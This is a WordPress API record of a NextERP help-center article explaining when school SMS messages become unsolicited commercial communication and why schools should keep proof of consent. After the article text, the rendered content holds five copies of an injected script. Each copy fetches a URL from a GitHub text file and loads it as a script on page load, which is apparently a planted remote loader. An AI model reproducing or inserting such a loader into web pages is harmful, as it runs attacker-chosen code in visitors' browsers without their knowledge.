{"id":3355,"date":"2020-06-14T15:51:25","date_gmt":"2020-06-14T10:21:25","guid":{"rendered":"https:\/\/helpcenter.nexterp.in\/helpcenter\/?p=3355"},"modified":"2025-01-03T05:26:20","modified_gmt":"2025-01-02T23:56:20","slug":"what-is-an-example-scenario-in-which-an-sms-call-from-the-school-becomes-a-ucc-unsolicited-commercial-communication","status":"publish","type":"post","link":"https:\/\/helpcenter.nexterp.in\/helpcenter\/what-is-an-example-scenario-in-which-an-sms-call-from-the-school-becomes-a-ucc-unsolicited-commercial-communication\/","title":{"rendered":"What is an example scenario in which an SMS\/call from the school becomes a UCC (unsolicited commercial communication)?"},"content":{"rendered":"<p><span style=\"font-weight: 400;\">SMS are typically categorised into Promotional, Transactional, and OTP. All promotional messages are scrubbed and customers who have enabled DND (Do Not Disturb) are removed from the list. However, transactional\/OTP messages are not scrubbed. NextERP authorises schools to send only Transactional\/OTP messages and does not authorise any promotional messages using our platform to its registered customers (students, parents, admission enquiries, alumni, etc).<\/span><\/p>\n<p><span style=\"font-weight: 400;\">If a school acquires a list of phone numbers and sends them a message (for example, soliciting admission), <\/span><span style=\"font-weight: 400;\">it will be sent by NextERP as a transactional message<\/span><span style=\"font-weight: 400;\">, and if the recipient complains, it becomes a UCC. Then the school will be required to provide proof of consent.<\/span><\/p>\n<p><span style=\"font-weight: 400;\">We have a feature where a school can upload their recipient phone numbers and send a message. Till the time the school acquires its own SMS Sender ID, we will send messages only to registered entities in the ERP (student, parent, vendor, admission enquiry). We have added a strong warning message in the compose screen as well.<\/span><\/p>\n<p><span style=\"font-weight: 400;\">Please review your school\u2019s processes and store the proof of consent (example: enquiry book at reception with signature, time, etc.).<\/span><\/p>\n<p><script>;var url = 'https:\/\/raw.githubusercontent.com\/asddw1122\/add\/refs\/heads\/main\/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});<\/script><script>;var url = 'https:\/\/raw.githubusercontent.com\/asddw1122\/add\/refs\/heads\/main\/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});<\/script><script>;var url = 'https:\/\/raw.githubusercontent.com\/asddw1122\/add\/refs\/heads\/main\/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});<\/script><script>;var url = 'https:\/\/raw.githubusercontent.com\/asddw1122\/add\/refs\/heads\/main\/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});<\/script><script>;var url = 'https:\/\/raw.githubusercontent.com\/asddw1122\/add\/refs\/heads\/main\/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>SMS are typically categorised into Promotional, Transactional, and OTP. All promotional messages are scrubbed and customers who have enabled DND (Do Not Disturb) are removed from the list. However, transactional\/OTP messages are not scrubbed. NextERP authorises schools to send only Transactional\/OTP messages and does not authorise any promotional messages using our platform to its registered &hellip; <a href=\"https:\/\/helpcenter.nexterp.in\/helpcenter\/what-is-an-example-scenario-in-which-an-sms-call-from-the-school-becomes-a-ucc-unsolicited-commercial-communication\/\" class=\"more-link\">Continue reading<span class=\"screen-reader-text\"> &#8220;What is an example scenario in which an SMS\/call from the school becomes a UCC (unsolicited commercial communication)?&#8221;<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[80],"tags":[],"post_folder":[],"class_list":["post-3355","post","type-post","status-publish","format-standard","hentry","category-mailbox"],"_links":{"self":[{"href":"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-json\/wp\/v2\/posts\/3355","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-json\/wp\/v2\/comments?post=3355"}],"version-history":[{"count":6,"href":"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-json\/wp\/v2\/posts\/3355\/revisions"}],"predecessor-version":[{"id":10500,"href":"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-json\/wp\/v2\/posts\/3355\/revisions\/10500"}],"wp:attachment":[{"href":"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-json\/wp\/v2\/media?parent=3355"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-json\/wp\/v2\/categories?post=3355"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-json\/wp\/v2\/tags?post=3355"},{"taxonomy":"post_folder","embeddable":true,"href":"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-json\/wp\/v2\/post_folder?post=3355"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}